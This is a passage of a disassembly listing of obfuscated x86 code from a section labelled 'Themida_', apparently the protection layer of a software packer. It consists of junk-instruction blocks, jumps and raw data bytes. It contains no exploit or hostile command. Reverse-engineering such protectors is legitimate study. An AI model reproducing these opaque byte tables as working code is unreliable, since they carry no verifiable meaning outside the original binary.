		dd 355AD009h, 67FC7737h, 2D40D0F7h, 0E7F44EB2h,	48BC129h
		dd 4C48124h, 87000000h,	248B240Ch, 242C8924h, 10D0E9h
		dd 5FFB0100h, 0E9241C87h, 17B8h
; ---------------------------------------------------------------------------


loc_536C5C:				; CODE XREF: Themida_:00539C9Fj
		pop	eax
		add	esp, 4
		push	ebx
		push	14F01457h
		pop	ebx
		dec	ebx
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 5E1C7016h
		add	edx, 23CBE15h
		mov	esi, edx
		pop	edx
		jmp	loc_5400C3
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BE243489h, 0B0A5D6Ch, 81E9F301h,	0ADh, 8B1C04E8h
		dd 8952240Ch, 4C281E2h,	81000000h, 4C2h, 24148700h, 5352665Ch
		dd 0CBFED3B3h, 65F0E9h,	4C68100h, 57000000h, 8904EC83h
		dd 0AEBD242Ch, 894C0964h, 102BE9EFh, 89530000h,	4BA52E3h
		dd 1000000h, 1877E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_536CE6:				; CODE XREF: Themida_:00540764j
		pop	ecx
		push	edi
		push	edx
		mov	edx, 28F93654h
		add	edx, 213D2418h
		jmp	loc_53E536
; ---------------------------------------------------------------------------


loc_536CF9:				; CODE XREF: Themida_:00540BE5j
		push	eax
		jmp	loc_53C8C0
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0EBE9h, 24248900h, 2AD9E9h, 3ABA5200h, 81308C69h, 987484C2h
		dd 4CEA8157h, 8129DBD7h, 0E60410EBh, 0CEB813Bh,	168E179h
		dd 0CC381D3h, 0E968E179h, 3204h
; ---------------------------------------------------------------------------


loc_536D38:				; CODE XREF: Themida_:00540322j
		push	1256h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_536009
; ---------------------------------------------------------------------------
aQissK		db 'Q䇎',1Bh,'K',0
		dw 6600h
		dd 0E9240C8Bh, 7287h
; ---------------------------------------------------------------------------


loc_536D58:				; CODE XREF: Themida_:005366DFj
		pop	esp
		jmp	loc_53F4C7
; ---------------------------------------------------------------------------
		dd offset dword_59C800
		dw 2CE8h
		dd 98A2E9FAh, 74FF0000h, 8F5E0424h, 248B2404h, 0C8B6624h
		dd 37686824h, 34890000h, 57E68924h, 4BFh, 3BEE8100h, 135F359h
		dd 3BC681FEh, 8B35F359h, 0C483243Ch, 6EE95104h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_536DA3:				; CODE XREF: Themida_:00539A6Aj
		add	esp, 4


loc_536DA6:				; CODE XREF: Themida_:005380CCj
					; Themida_:0053E2C0j
		push	dword ptr [esp]
		jmp	loc_538637
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 89E9555Dh, 89FFFFF8h, 4C281E2h, 57000000h, 4BFh, 9607E900h
		dd 47680000h, 89000035h, 4832424h, 7CE90424h, 1000008h
		dd 0E9082454h, 16CDh, 0D4F6D4F6h, 0E9F3F480h, 26F6h, 5C241487h
		dd 87241489h, 7DE9240Ch
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_536DFF:				; CODE XREF: Themida_:00540362j
		push	ecx
		push	esp
		jmp	loc_5419CE
; ---------------------------------------------------------------------------
		dw 3166h
		dd 665D66EFh, 0B2E9F889h, 5100006Ch, 8EE96AB5h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_536E1B:				; CODE XREF: Themida_:00541D0Aj
		mov	[esp], eax
		push	2FF4h
		mov	[esp], ecx
		mov	ecx, 594B14ACh
		jmp	loc_53E01E
; ---------------------------------------------------------------------------
		dd 24148B66h, 2C481h, 0E9520000h, 5Eh, 0DB081FBBh, 3C22E925h
		dd 81660000h, 66597AF3h, 565BD801h, 23A7BE66h, 3102E9h
		dd 241C8700h, 4E84E9h, 24148900h, 27A768h, 0A956800h, 24890000h
		dd 24048324h, 24048F04h, 4240481h, 5A000000h, 229CE9h
		dd 47EE8100h, 0E91F3230h, 561Bh, 0D504C7BAh, 0B26FE912h
		dd 1B20000h, 285AD000h,	0B75366E8h, 0EDCF8099h,	8005E7C0h
		dd 0CF8086EFh, 80D7F67Dh, 0F8287FEFh, 30595B66h, 0C0B60FC3h
		dd 5E08950h, 4,	42Dh, 0CDE95000h, 5300009Dh, 0F2635CBBh
		dd 0F04BE914h, 8951FFFFh, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 59E9525Ch, 0B400004Dh, 0FFE788F8h, 48B2434h,	4C48324h
		dd 919E9h, 5C4E6800h, 0C890000h, 0E9E18924h, 497Dh, 4C381h
		dd 51E90000h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_536F27:				; CODE XREF: Themida_:00540EA8j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_53D9AE
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C243CD3h, 0FFEB78E9h, 41E955FFh
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_536F4F:				; CODE XREF: Themida_:0053A00Aj
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_53691A
; ---------------------------------------------------------------------------
		db 0FEh, 0CBh, 80h
		dd 0CB8039C3h, 45E3806Dh, 3EE9DBF6h, 8000001Bh,	0E80003C5h
		dd 2EC8159h, 66000000h,	0E9241C89h, 276Ah, 4987E954h, 0EC830000h
		dd 24148904h, 4EC81h, 4890000h,	5B7DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_536FA6:				; CODE XREF: Themida_:0053BA4Dj
		mov	esi, 224D7AAFh
		jmp	loc_537398
; ---------------------------------------------------------------------------
		dd 657308BDh, 3E5C16Bh,	0C2B2F581h, 0E8294926h,	5DAFE9h
		dd 4C48300h, 81E68956h,	4C6h, 4C68300h,	5C243487h, 8904EC83h
		dd 1BE9242Ch, 8B000067h, 0AE92434h, 52000058h, 6C3CB7BAh
		dd 3062E91Ah, 0E8BB0000h, 21258B5Eh, 241C8BDAh,	81E38953h
		dd 4C3h, 4C38100h, 0E9000000h, 0AE25h, 5938D50Dh, 6E0C12Bh
		dd 753EE9h, 5EF32900h, 5C241C87h, 54240489h, 40558h, 0EC810000h
		dd 4, 0BD242C89h, 2, 335DE801h,	4312404h, 24043324h, 0E924248Bh
		dd 0B332h, 80C3005Ch, 10E9D2EBh
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53705F:				; CODE XREF: Themida_:005419EEj
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, 531302D5h
		add	edi, eax
		sub	edi, 531302D5h
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_535C64
		push	dword ptr [edi+1Ch]
		push	6677h
		mov	[esp], ecx
		push	111D1346h
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_53F891
; ---------------------------------------------------------------------------


loc_5370C5:				; CODE XREF: Themida_:0053E7B7j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	7BF2h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 3AFC5236h
		sub	eax, ebx
		pop	ebx
		jmp	loc_53F936
; ---------------------------------------------------------------------------
aHo		db '[ho%',0
		align 4
		dd 89240C89h, 4C181E1h,	0E9000000h, 0A71Ch, 4EC81h, 34890000h
		dd 0C0ABE24h, 0F1E94264h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53712B:				; CODE XREF: Themida_:0053CB74j
		add	eax, esi
		pop	esi
		jmp	loc_537E45
; ---------------------------------------------------------------------------


loc_537133:				; CODE XREF: Themida_:0053C90Bj
		push	2C27h
		mov	[esp], edx
		jmp	loc_540373
; ---------------------------------------------------------------------------


loc_537140:				; CODE XREF: Themida_:0053F108j
		mov	edx, [esp]
		jmp	loc_53A850
; ---------------------------------------------------------------------------
		dd 0BB535A54h, 62057AB6h, 0F706E3C1h, 0EC8157DBh, 4, 0B8240489h
		dd 7359118Eh, 0CA21E4BFh, 58C701D1h, 0E781D7F7h, 0E805BF1h
		dd 0F5FDEF81h, 0FB318BDEh, 2587E9h, 40500h, 41E90000h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53718B:				; CODE XREF: Themida_:0053DC50j
		sub	eax, 41E86D00h
		jmp	loc_539DF1
; ---------------------------------------------------------------------------
		db 66h,	5Eh, 0E9h
		dd 0FFFFE925h, 8B241487h, 78E92424h, 6600008Ah,	6624048Fh
		dd 50BE6656h, 6650664Dh, 664D4EB8h, 5866C629h, 246C8166h
		dd 667D0A02h, 2247401h,	29BDE9h, 5DC18100h, 5B2EEF75h
		dd 1FBEC181h, 0E98133ECh, 64FA74CEh, 0C181F101h, 64FA74CEh
		dd 1FBEE981h, 0C18133ECh, 5AA05E12h, 5A08E95Eh,	348B0000h
		dd 4C48324h, 0DC768h, 243C8900h, 4BFh, 5FFE0100h, 8904EC83h
		dd 4BD242Ch, 1000000h, 45E95DEEh, 6600004Fh, 5224048Bh
		dd 5404EC83h, 8124048Fh, 42404h, 815A0000h, 4C2h, 28E95700h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_537243:				; CODE XREF: Themida_:0053EFE1j
		pop	esi
		jmp	loc_53C907
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4BD55h, 0FBE90000h, 0F7000019h, 3E1C1D1h, 35B9E9h, 2434FF00h
		dd 8324048Bh, 148904ECh, 0FD7E924h, 295E0000h, 5081E9FAh
		dd 42E90000h, 81FFFFE8h, 4ECh, 241C8900h, 0A7152CBBh, 0B6F3811Fh
		dd 296C9C60h, 835D5BDAh, 148704C2h, 82DDE924h, 0B9510000h
		dd 4, 0C8BCE29h, 4C48124h, 56000000h, 42474FFh,	5E2434FFh
		dd 1A4DE9h, 88E0B100h, 516659C8h, 0C82842B1h, 0E8C05966h
		dd 0B4505202h, 5D5FE97Eh, 0D8280000h, 285E045Bh, 535E2CD8h
		dd 812C4AB3h, 3659E9h, 8BA62C00h, 0EC812414h, 4, 89241489h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 558BE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_537312:				; CODE XREF: Themida_:00538234j
		mov	edx, 1
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_541B72
; ---------------------------------------------------------------------------
		dw 835Eh
		dd 0E95304C3h, 3478h, 4C181h, 30E90000h, 51000026h, 4262E9h
		dd 0E9F50100h, 0A983h, 8324348Bh, 0C08304C4h, 71266804h
		dd 0C4E90000h, 1000015h, 31F8E9EBh, 0C4810000h,	4, 4C781h
		dd 3C870000h, 24248B24h, 9BACE951h, 0E9C00000h,	0E9C9FE06h
		dd 5D0Eh, 8B240487h, 34FF2424h,	0E9555924h, 0A18Ah, 0E9243430h
		dd 0FFFFE80Bh
; ---------------------------------------------------------------------------


loc_537398:				; CODE XREF: Themida_:00536FABj
		xor	esi, 224D7AABh
		sub	edx, esi
		pop	esi
		jmp	loc_53822B
; ---------------------------------------------------------------------------
		dw 0F930h
		dd 4EC835Bh, 83240489h,	148904ECh, 49B45024h, 88E58851h
		dd 48B59EAh, 0ED2AE924h, 0F6E9FFFFh
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5373CB:				; CODE XREF: Themida_:00537C73j
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 15179C7h
		dec	ecx
		jmp	loc_537F0D
; ---------------------------------------------------------------------------


loc_5373DD:				; CODE XREF: Themida_:0053AEC4j
		push	4267h
		mov	[esp], eax
		mov	eax, 363711FFh
		push	ebx
		mov	ebx, 10B26EA3h
		jmp	loc_539B6A
; ---------------------------------------------------------------------------


loc_5373F5:				; CODE XREF: Themida_:00541137j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_53B23E
; ---------------------------------------------------------------------------


loc_537400:				; CODE XREF: Themida_:0053BCE4j
		add	esp, 4
		pop	eax
		jmp	loc_53E10F
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 89560000h, 4C681E6h,	55000000h, 77B7CBDh, 0C8F5811Ch
		dd 0F7122A70h, 0F4E945D5h, 2D000077h, 650028FAh, 0FA05F001h
		dd 83650028h, 148904ECh, 79F9BA24h, 760568B4h, 0E964EB77h
		dd 4ABDh
; ---------------------------------------------------------------------------


loc_53744C:				; CODE XREF: Themida_:0053BE23j
		push	esi
		jmp	loc_53BE28
; ---------------------------------------------------------------------------
		dw 468h
		dd 8B000000h, 0C481241Ch, 4, 875BDF01h,	12E9243Ch, 81000037h
		dd 455D00EEh, 9B2FE9A2h, 59660000h, 4B89E9h, 30FE3000h
		dd 0E9FE30F7h, 0FFFFEF31h, 0C381C329h, 168C1DCEh, 747AEB81h
		dd 8CE911A0h, 1000011h,	5204246Ch, 127C45BAh, 0F931E961h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5374AA:				; CODE XREF: Themida_:00539D72j
		sub	ebx, edi
		sub	ebx, 725F19C2h
		sub	ebx, 1A95325Fh
		pop	edi
		mov	dword ptr [edi+20h], 202C5369h
		push	ecx
		mov	ecx, 20h
		sub	ecx, 35955185h
		sub	ecx, 7A7F38C6h
		add	ecx, edi
		push	esi
		jmp	loc_53B09F
; ---------------------------------------------------------------------------
		dw 405h
		dd 55000000h, 4BDh, 5DE82900h, 140DE9h,	48B6600h, 0F7E0E924h
		dd 0E389FFFFh, 4BD55h, 0EB010000h, 0A5E685Dh, 34890000h
		dd 2BE24h, 0F3010000h, 5124348Bh, 0C181E189h, 4, 4C181h
		dd 0AFE90000h, 0F6000030h, 0E99C241Ch, 0FFFFE591h, 0F24248Bh
		dd 1268C8BFh, 89000019h, 83E9240Ch, 0B9FFFFFEh,	4, 8359CF01h
		dd 8CE904C7h, 0F6FFFFF6h, 0FEEAD0D2h, 0C0D2F6CAh, 2EE906E2h
		dd 80000014h, 0D7F66BE7h, 8008E7C0h, 0FC2801F7h, 0FED4F65Bh
		dd 5CE952C4h, 5A0000A6h, 34FFC329h, 2434FF24h, 8324048Bh
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_53983E
; ---------------------------------------------------------------------------
		db 81h
		dd 92A01EFh, 0D3EF813Ah, 31C4FDFCh, 0C8315FF9h,	0ED31E959h
		dd 0C481FFFFh, 4, 0B8ABBB53h, 8BE9F473h, 0BA00005Ch, 4D162B11h
		dd 61A8F281h, 0E2C101E4h, 4C28108h, 10DB547h, 0E9525AD0h
		dd 0FFFFE661h, 24048B66h, 6067E9h, 4895C00h, 0E4BFE924h
		dd 4401FFFFh, 6C810424h, 470B0424h, 5F580F08h, 0FF2DE951h
		dd 3489FFFFh, 43FCE924h, 0E9550000h, 21FFh, 8301C580h
		dd 0ADE904ECh
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53762F:				; CODE XREF: Themida_:0053DBD8j
		pop	edi
		push	esi
		mov	esi, 34F375EFh
		xor	edi, esi
		pop	esi
		jmp	loc_537B4C
; ---------------------------------------------------------------------------
		dw 2BFh
		dd 81000000h, 9852A0EBh, 81FB016Bh, 9852A0C3h, 0DAE95F6Bh
		dd 5DFFFFEEh, 2B75E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53765E:				; CODE XREF: Themida_:0053A8A1j
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5361ED
; ---------------------------------------------------------------------------


loc_537666:				; CODE XREF: Themida_:0053F687j
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	edx
		mov	edx, 7C6D24FAh
		shr	edx, 3
		add	edx, 20AD7B23h
		shl	edx, 6
		sub	edx, 7CDC43EEh
		add	edx, 0DC3CC570h
		mov	edi, edx
		pop	edx
		or	ebp, edi
		pop	edi
		sub	ebp, 1E2B2552h
		xchg	esi, ebp
		neg	esi
		xchg	esi, ebp
		shl	ebp, 5
		jmp	loc_541275
; ---------------------------------------------------------------------------
		dd 4C6815Eh, 83000000h,	2DE904EEh, 49000087h, 0FFE856E9h
		dd 241489FFh, 4C3468h, 24248900h, 4240483h, 468515Ah, 59000000h
		dd 0AAD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5376D9:				; CODE XREF: Themida_:0053FFADj
		neg	edi
		sub	edi, 4D77588h
		dec	edi
		neg	edi
		add	edi, 0C36C3E45h
		mov	[edx+30h], edi
		pop	edi
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0CBh, 0E3h
		dd 0D028FFFFh, 9757E9h,	0E0895000h, 405h, 42D00h, 4870000h
		dd 34895C24h, 348B5424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		push	ebx
		push	14AE6CF1h
		pop	ebx
		and	ebx, 5D734871h
		xor	ebx, 14224875h
		jmp	loc_5411A9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 6CF0E900h, 0EA810000h,	12302BE4h, 0C281EA01h
		dd 12302BE4h, 0AB6EA81h, 24E922F7h, 9FFFFFBh, 4BE958C2h
		dd 0FFFFEEh, 5B5304D8h,	0E958C588h, 3B6Dh
; ---------------------------------------------------------------------------


loc_537770:				; CODE XREF: Themida_:00536B05j
		mov	[esp], eax
		mov	al, bl
		inc	al
		mov	bl, al
		mov	eax, [esp]
		jmp	loc_541596
; ---------------------------------------------------------------------------
		db 5Dh,	8Fh, 4
		dd 0E9F65C24h, 245DE9h,	4C48300h, 30E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_537795:				; CODE XREF: Themida_:0053965Aj
					; Themida_:0053B834j ...
		push	521Ah
		mov	[esp], eax
		push	ecx
		jmp	loc_53CCFE
; ---------------------------------------------------------------------------


loc_5377A3:				; CODE XREF: Themida_:005422A5j
		pop	eax
		shr	ebp, 7
		sub	ebp, 0D0A52FCh
		jmp	loc_536151
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 2E90000h,	6600003Ch, 0E9243C31h, 2C5Fh
; ---------------------------------------------------------------------------


loc_5377CC:				; CODE XREF: Themida_:0053AAFBj
		pop	ebp
		pop	edi
		jmp	loc_538B5C
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924148Bh, 5EC9h, 405h, 24048700h, 0EFE9565Ch, 100008Dh
		dd 0B2B951C3h, 0E964FB32h, 23A5h, 0BFE9C201h, 0F7000006h
		dd 0AEE281DAh, 5523FF31h, 2C01E9h, 5E08900h, 4,	8704C083h
		dd 875C2404h, 248B2434h, 9C6BE924h, 0C4810000h,	4, 34FFF830h
		dd 5D36E924h, 2BB0000h,	89000000h, 0CD015BD9h, 242C3359h
		dd 33242C31h, 248B242Ch, 0E9F1F624h, 1E2Eh, 81E18951h
		dd 4C1h, 4C18100h, 0E9000000h, 0A4DEh, 7B469B25h, 21E95231h
		dd 89FFFFF6h, 0C3E92414h, 83FFFFEEh, 34FF04C4h,	6BE95824h
		dd 3000002Dh, 0E78957D8h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 5B20E9h
		db 0
; ---------------------------------------------------------------------------


loc_5378A1:				; CODE XREF: Themida_:0053E4EBj
		xor	eax, ecx
		push	923h
		mov	[esp], eax
		xchg	ebx, [esp]
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		not	edx
		xchg	edx, ebx
		xchg	ebx, [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		jmp	loc_53F174
; ---------------------------------------------------------------------------
		dd 0E9240431h, 3F22h
; ---------------------------------------------------------------------------


loc_5378E8:				; CODE XREF: Themida_:005369A4j
		pop	edi
		shr	ebp, 4
		push	edi
		mov	edi, 0FBC96A58h
		add	ebp, edi
		pop	edi
		and	eax, ebp
		pop	ebp
		shr	eax, 12h
		xor	eax, ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_53685E
; ---------------------------------------------------------------------------
		dw 0C721h
		dd 8124048Bh, 4C4h, 21CE900h, 26680000h, 8B467155h, 0C4832414h
		dd 0DEC28104h, 1B98EAAh, 8B042454h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_53DC21
; ---------------------------------------------------------------------------
		dw 0EAC0h
		dd 0B9E28003h, 0EE9E2D0h, 80000016h, 0D828B6F3h, 28452C5Bh
		dd 0E5FDE9D8h, 8141FFFFh, 0B7325C1h, 3382E942h,	8B660000h
		dd 0B468240Ch, 89000045h, 5A542414h, 4C281h, 0BDE90000h
		dd 81000096h, 0B55677EAh, 81FA011Ch, 0B55677C2h, 0DFBE561Ch
		dd 813F447Ah, 4ECh, 24048900h, 0A97E27B8h, 8E8C140h, 0C8575725h
		dd 2DD0F762h, 74ED4A91h, 908EE9h, 8B188800h, 0A5E9241Ch
		dd 66000021h, 157AE953h, 0D1890000h, 928BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5379E5:				; CODE XREF: Themida_:0053A593j
		pop	esp
		jmp	loc_53F40F
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2, 65E9D301h, 8400007Dh, 0B5E99CC8h,	10000A6h, 2434FFE8h
		dd 0E9242C8Bh, 6289h, 5C241C87h, 791CF02Dh, 0C8E95131h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_537A1B:				; CODE XREF: Themida_:0053CDB8j
		pop	esi
		jmp	loc_5409F4
; ---------------------------------------------------------------------------


loc_537A21:				; CODE XREF: Themida_:0053F10Fj
		pop	ebp
		add	edx, 7EDD7DEEh
		neg	edx
		inc	edx
		dec	edx
		shr	edx, 3
		xor	edx, 0B5A83E4h
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		push	4C2A75DAh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		mov	eax, 4C2A75D9h
		jmp	loc_53B998
; ---------------------------------------------------------------------------
		dd 104C483h, 702605D8h,	48E944E8h, 81000088h, 2381F3h
		dd 5BDA0100h, 423BE9h, 6DBB5300h, 0E92E4A02h, 5335h, 242C8152h
		dd 16E116ECh, 56CE685Fh, 0C890000h, 5B53B924h, 0E9813209h
		dd 5786B14h, 0FFFEC9E9h, 2CD8F6FFh, 2CC0FE78h, 15F6E95Bh
		dd 8B540000h, 0C4832404h, 0F947E904h, 5255FFFFh, 0D911BA68h
		dd 24148B56h, 4C481h, 0E2810000h, 87A7866h, 7A84F281h
		dd 0D5894043h, 83C5815Ah, 815FBE7Ch, 881E30C5h,	5DC38185h
		dd 290D5A09h, 5DBE56EBh, 810D5A09h, 251266EBh, 81F3294Ch
		dd 251266C3h, 2C8B5E4Ch, 4C48324h, 0FFE4C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_537B15:				; CODE XREF: Themida_:0053AAC9j
		push	1F1F3E3Fh
		pop	ebx
		xor	ebx, 2B7E68ABh
		xor	ebx, 65CF6785h
		add	ebx, 0E60E1B22h
		mov	edi, ebx
		jmp	loc_53659C
; ---------------------------------------------------------------------------
aXhj		db 'Xhj,',0
		align 2
		dw 0C89h
		dd 0C8B5424h, 8F31E924h, 0E9520000h, 7C9h
; ---------------------------------------------------------------------------


loc_537B4C:				; CODE XREF: Themida_:00537639j
		or	edi, 2B790FB1h
		shl	edi, 5
		add	edi, 809400E4h
		mov	esi, edi
		pop	edi
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_53C283
; ---------------------------------------------------------------------------


loc_537B6A:				; CODE XREF: Themida_:0053CF3Fj
		and	edx, ecx
		jmp	loc_538033
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E9E78957h, 0FFFFF7BBh
; ---------------------------------------------------------------------------


loc_537B7C:				; CODE XREF: Themida_:00540DBAj
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 24248B24h, 71A568h, 24048900h, 4B3CBA52h
		dd 0D0897516h, 0FFF9D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_537BA5:				; CODE XREF: Themida_:0053A481j
		mov	[esp], ecx
		mov	ecx, 20h
		add	ecx, edi
		jmp	loc_539A64
; ---------------------------------------------------------------------------
		dd 8832FE2Dh, 4E2A2D12h, 0D8293D57h, 9474E953h,	34FF0000h
		dd 89575824h, 4BD55E7h,	1000000h, 0C7835DEFh, 243C8704h
		dd 0DEDFE95Ch, 8F59FFFFh, 5CE94047h, 8900008Ch,	58C389C8h
		dd 5DEB8159h, 0E949B935h, 51DFh
; ---------------------------------------------------------------------------


loc_537BFC:				; CODE XREF: Themida_:0053AE5Ej
		xor	esi, [esp]
		jmp	loc_53A2B7
; ---------------------------------------------------------------------------
		dd 405h, 0F772E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_537C0E:				; CODE XREF: Themida_:0053A551j
		pop	esi
		jmp	loc_53AD18
; ---------------------------------------------------------------------------
		dd 5119CB81h, 0C3817558h, 1CC902D9h, 0B72C381h,	0DE0165D9h
		dd 1B71E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_537C2E:				; CODE XREF: Themida_:00539E3Aj
		pop	dword ptr [esp]
		jmp	loc_535E70
; ---------------------------------------------------------------------------


loc_537C36:				; CODE XREF: Themida_:0053D0F7j
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [ebx]
		add	dword ptr [esp], 5704A18h
		jmp	loc_53E13C
; ---------------------------------------------------------------------------
		dd 0F1814941h, 32B9E17Ch, 0FF91E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_537C5A:				; CODE XREF: Themida_:0053B64Ej
		and	esi, 1B2848B8h
		neg	esi
		jmp	loc_53A9C7
; ---------------------------------------------------------------------------
		db 81h
		dd 323156EFh, 0EDAAE969h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_537C72:				; CODE XREF: Themida_:0053AA2Bj
		pop	ebp
		jmp	loc_5373CB
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0C38104C4h, 419A7AA0h, 8452E9h
		db 0
; ---------------------------------------------------------------------------


loc_537C89:				; CODE XREF: Themida_:0053D2D5j
		pop	edx
		push	ebp
		mov	ebp, 4BB16255h
		add	ebp, 1
		push	ebx
		jmp	loc_53DCBB
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h,	0E4B75324h
		dd 9683E9h, 24048100h, 4, 5524348Bh, 242C8B54h,	5E08950h
		dd 4, 8704C083h, 3EE92404h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_537CDB:				; CODE XREF: Themida_:0053F722j
		add	ecx, edi
		jmp	loc_53E52B
; ---------------------------------------------------------------------------


loc_537CE2:				; CODE XREF: Themida_:0053A261j
		push	ebp
		mov	ebp, 264E630Fh
		jmp	loc_53F10D
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 681F68h, 1D62E900h, 52550000h, 3605E9h, 0BA525D00h
		dd 720E12B8h, 815AD709h, 1D5E1CC7h, 0E7C14F05h,	9737E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_537D1A:				; CODE XREF: Themida_:005417B5j
		or	eax, eax
		jmp	loc_538187
; ---------------------------------------------------------------------------
		db 68h,	0A4h, 4Fh
		dd 15D420Dh, 242C8BE8h,	4C481h,	0ABE90000h, 1000025h, 0BE5659CFh
		dd 4, 83B8E9h, 66E13000h, 0E7DCE958h, 8504FFFFh, 2799E9h
		db 0
; ---------------------------------------------------------------------------


loc_537D55:				; CODE XREF: Themida_:005365C6j
		pop	edx
		xor	bl, al
		movzx	eax, al
		jmp	loc_538B65
; ---------------------------------------------------------------------------
		dd 80BF575Ah, 29265A13h, 3C8B5FFAh, 4C48124h, 55000000h
		dd 0B04CD0BDh, 5DE82919h, 0D005D029h, 0FF19B04Ch, 8FE92434h
		dd 3100003Ah, 3DBFE9D8h, 2B90000h, 0E9000000h, 578Dh, 4B850h
		dd 44010000h, 0FF580424h, 3C8B2434h, 4C48124h, 81000000h
		dd 4C4h, 4C78100h, 81000000h, 4C7h, 0A20EE900h,	84B00000h
		dd 4B2CD8F6h, 3704D0F6h, 8058C500h, 0EF2C09C5h,	0EF04E800h
		dd 7218E9h, 0B9515A00h,	4DF44D32h, 584CE981h, 0C1810252h
		dd 5E111B03h, 4696C181h, 0B850306Eh, 35796929h,	5258C101h
		dd 0F18DD7BAh, 0E9D1010Bh, 37FBh, 2DC6E95Bh, 0C4830000h
		dd 9BC6804h, 4890000h, 4B824h, 0C5010000h, 402DE9h, 14335900h
		dd 24143124h, 5C241433h, 9CC88566h, 0FFDC7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_537E45:				; CODE XREF: Themida_:0053712Ej
